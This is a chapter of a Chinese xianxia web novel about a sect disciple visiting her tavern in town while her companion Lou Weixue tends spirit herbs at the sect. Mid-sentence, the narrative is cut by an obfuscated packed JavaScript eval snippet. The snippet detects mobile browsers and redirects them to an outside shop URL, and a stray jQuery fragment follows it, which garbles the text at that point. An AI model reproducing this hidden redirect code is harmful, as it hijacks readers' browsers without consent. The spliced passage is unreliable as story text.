默认冷灰
24号文字
方正启体

9. 炉鼎(九)

作者:林卡Rinca本书字数:K更新时间:
    艳阳天,一碧如洗的天飘着几缕散云。


    在黄鹂婉转的啼鸣声中,祝湫背着包袱下山了。


    大概是因为今天要出去游历,一宿没怎么合眼,她觉得自己睡眠有些不足,连行李都是楼危雪帮忙收拾的。


    祝湫打了个哈欠,山下早有一辆马车等候,她踏上马车,放下车帘,在骨碌碌的车轮声和颠簸中昏昏欲睡。


    和其他宗门一样,合欢宗也需要弟子们定期下山历练,这个历练没有准确的标准,不限时间长短,总之再回到宗门的时候,必须要有所收获,钱还是修为或是道侣,反正不能空手而归。


    对于这点,祝湫一点都不担心,因为那晚师父给自己的地契就是用来解决这个问题的。


    想来她一个废柴,在这山下历练也历练不出什么名堂,姬连赫也很清楚,于是干脆直接替她做主买好了一栋酒楼,祝湫只需要背着地契下山,找个舒适的客栈住上几天,等要回去时去酒楼收钱就完事了。


    马车行了一段路,到城外时便缓缓停下,马夫喊了一声,祝湫才从回笼觉的梦里苏醒,提着包袱下了车。


    等马车哐啷哐啷驶去,祝湫才抬步跨入这繁华热闹的集市,自从穿越过来,这算是她第一次出远门。


    青砖绿瓦,街市两旁敞开的木门里一览无余,书肆,衣坊,武器铺,古董铺,胭脂铺,青石小道上还有人摆摊叫卖,越往里走,空气中混杂的食物香气与胭脂香便越浓烈。


    耳边叫卖声络绎不绝,妇人牵着孩子慢悠悠逛过每个摊位,祝湫跟随人流缓慢前行,看什么都觉得新鲜。


    乱逛了一圈,她才按着师父说的路线找到了那家藏在湖畔的酒楼,祝湫站在门外观望了一阵,才迈出脚步踏进去。


    酒楼人不多,但也还算有人气,酒楼的掌柜见她进来,衣饰皆与常人不同,再加之上头的人说今天大老板要来查账,他精明的眼睛滴溜一转,马上就明白了情况。


    他从柜台后走出,满脸陪笑道:“姑娘可是姓祝,从山上下来?”


    祝湫顺口就答:“是,我今日是过来看看的。”


    她抬手摸出那张地契在掌柜的面前晃了晃,掌柜的只瞄了一眼,立刻点头哈腰:“哎呦祝老板,小人可等候多时了,您要现在就瞧瞧账本,还是先休息下喝杯茶?”


    外面艳阳高照,祝湫一路过来也出了不少汗,口干舌燥的,想了想,便点头道:“你帮我找个包厢,我要凉茶,连同账本一起拿上来给我。”


    “哎,好嘞,您稍等。”


    “小二!快来领老板去最好的那间包厢,再上壶上好的凉茶。”


    掌柜的看那小二把汗巾往肩膀一搭匆匆过来,又拉住他小声叮嘱:“你机灵点,把人给我照顾好了,好处少不了你的,除了凉茶,你再把今日做的水晶桂花糕端一盘上去。”


    还挺会来事,祝湫在掌柜的一脸陪笑下去了楼上的包厢,包厢靠湖,背阴,不太晒的着太阳,正好凉快,气温一下子降下来,祝湫坐在椅子上,把包袱挂在一边。


    掌柜的和小二送完账本茶水就自觉关门下楼,让人一多就不自在的祝湫松了口气。


    看账本对她这个前社畜来说并不难,祝湫通篇翻过账本,仔细核对无误后,向后靠,咸鱼瘫在椅子上放松地看起了窗外的风景。


    绿柳拂过湖面,游人来往如织,偶尔出来透透气也不错,就是不知道楼危雪有没有安静待着,刺客事件后,祝湫每日都在担心他闹出新乱子,毕竟是她的炉鼎,最后还要她来负责。


    祝湫最怕麻烦事。


    包厢寂静的只能听到外面若有若无的说话声,祝湫放空注意力,不料下一刻却听到了熟悉的名字。


    “哎,我说刘麟这回可是栽大跟头了,他去合欢宗闹一通,本以为能给他们个下马威,结果自己哭爹喊娘地跑回来,要我说,他就是活该。”


    “瞧他那没出息的样儿,他回来后不久,合欢宗那人精长老就带人上门要赔礼来了,师父被迫给了一大堆好东西,脸都气绿了。”


    隔壁似乎在议论刘麟的事,世界真小,居然在这里遇到刘麟的同门。


    不过听他们那幸灾乐祸的口气,看来刘麟平时人缘也不怎么样啊。


    “反正啊,那小子是丢了西瓜捡芝麻,现在连芝麻都丢了,和他一块去的那个舞修丢了脸,还被绣衣阁掌门禁足,回来就把他踹了,哈哈哈哈。”


    祝湫无意再听刘麟的八卦,正想起身把窗户关上,突然听到下面传来嘈杂的声音。


    隔壁的人也听到了,探出头来看:“什么动静?”


    祝湫连忙缩回去,窗户半掩着,她靠在窗台旁把下面的骚动看了个一清二楚。


    街道上不知何时涌出一群身穿白衣的人,白衣上绣着金,蓝双色的花纹,头戴冠,佩剑,瞧着十分贵气。


    人群被他们强行从中间分开,为首的弟子剑柄指向前方,运气大喊:“前辈,还请停下脚步,我等有要事相问!”


    前方有一黑衣男子,步履如飞,哪怕在拥挤的人群中也如鱼得水,身形矫健向前快步离开,他戴着顶斗笠,祝湫看不清他的脸,身后的门派弟子们紧追不舍,其但无奈怎样都跟不上。


    其中一名弟子急了,大吼道:“风不渡!你给我停下!”


    风不渡?


    祝湫咂摸两下,这么有特色的名字听着就不像普通人,虽然直到目前她也不知道自己到底穿到了什么地方,但她确信,这个风不渡绝对不是一般人,难道是什么隐世高人?


    看热闹的人越围越多,玄月宫又不能在人群里使用灵力,为首的弟子急的面红耳赤,扒开人群狂追。


    前头叫风不渡的男人跑着跑着突然手往后一打,像是丢了什么东西,玄月宫的弟子面色一变,祝湫的眼睛才眨了一下,就见刚才还在往前追的一群弟子们纷纷如失去钉子的木桩一般倒在地上。


    人群又是一阵喧哗。


    “玄月宫?他们怎么会在这?”


    “就是,最近他们不是忙着找剑尊吗?怎么突然在大街上追起人来了?这个风不渡,我记得不是个爱多管闲事的散修来着,我听说前两天还管了药王谷的闲事,被药尊轰了出来,怎么今天又招惹上玄月宫的人?”


    祝湫竖起耳朵,什么,玄月宫?那些就是玄月宫的人?


    她想起待在家里的楼危雪,他好像也是玄月宫来的,上次还和那边通信来着,不过之后接着就来刺客了。


    不好的记忆涌上来,祝湫脖子一凉,皱了皱眉,她合上窗户,还是别和玄月宫扯上关系。


    窗户合上的刹那,正躲避玄月宫弟子朝前奔跑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125881|196067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的黑衣男子忽然回头,眼神一扫而过,那片被他视线扫过的绿叶从树上飘落,恰好夹在了窗缝中。


    ……


    合欢宗。


    楼危雪坐在门口,阳光照射在松软的泥土上,前院开辟了一片农田,用来种他疗伤要用的灵草,那些草种被祝湫亲手种下,鼓起一个个小土包。


    说是种灵草,其实根本不需要这么大一片田,他扫过光秃秃的土地,祝湫嚷着说什么无机有机等听不懂的话,非要种一堆蔬菜在地里,种的灵草量也远远超出所需,问就是种了还能顺带赚钱,何乐而不为。


    如今她下山不知去哪躲懒了,看顾这些草药蔬菜的活儿就落在楼危雪身上,但其实就算她不走也没差,浇水施肥松土所有事都是楼危雪在负责。


    每日起那么晚,浇水的时辰都误了,她能养活自己就不错了,还指望她养活这些娇贵的灵草?


    曾经事事有人伺候的剑尊,而今也开始伺候别人。


    让旁人看到都得惊掉大牙。


    每日头顶烈日踩在泥地里,又是浇水又是施肥,祝湫要是在,还得准备早中晚三顿膳食,闲暇还得抽空打扫下卫生,换洗被褥,晒衣服。


    他挽起袖口,露出一截肌肉线条流畅且修长的小臂,挽起葫芦瓢舀水倒在田里,一两滴晶莹的水珠顺着手臂青筋流下,分不清是汗水还是沾上的清水。


    啧,楼危雪放下瓢,用灵力吹干蹭上衣服的水,他为什么要管她?


    若是让昔日那些家伙看见,一准要问问他是不是伤到了脑子。浇水也好,做饭也好,反正祝湫又不会饿死。


    他其实可以不管的,但是他还是在听到祝湫抱怨膳房根本不换菜后就心软了。


    从前他根本不会和别人一起睡一间房间,容许别人靠近他,自小培养起的警惕心让他对任何人都抱有怀疑。


    可是现在,楼危雪却能在祝湫的面前放松下来,因为什么?她的想法非常好懂?所有的情绪都直白表现在脸上,言行如一?


    还是那傻里傻气的性格?


    至少在这里,楼危雪不用绷紧神经,他可以想笑就笑,不需要喜怒不形于色,不用揣测每个人的想法,至少在这里,他真的感觉到放松。


    也许这就是他留下来的理由。


    窸窸——


    楼危雪眼角余光瞥到房屋后,一道背影一闪而过,即使速度很快,动作很小,还是弄出了响动。


    他慢慢走到黑影站的位置,被水浸润过腥气的泥土上留下一个浅浅的脚印,来人用了灵力隐蔽自己的行踪。


    他想,他现在知道那张给他通风报信的纸条是谁写的了。


    这世间,总有人和老鼠一般,躲在阴沟里不敢见人,又拼命觊觎别人拥有的东西,让人作呕。


    ……


    祝湫在集市上逛了逛,买了些小玩意儿,一路转悠到书肆,她理所当然略过了那些看起来就文邹邹,看的头疼的书,站到了市井小说那一栏。


    在书商的建议下,祝湫从书肆出来的时候抱了厚厚一摞志怪奇谈和世情小说在怀里,往回走的路上她正思考要不要给楼危雪买点伴手礼回去。


    然后她突然想起楼危雪高傲的眼神。


    嗯,想必他应该不需要吧。


    祝湫摇摇头,否定了自己的想法。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)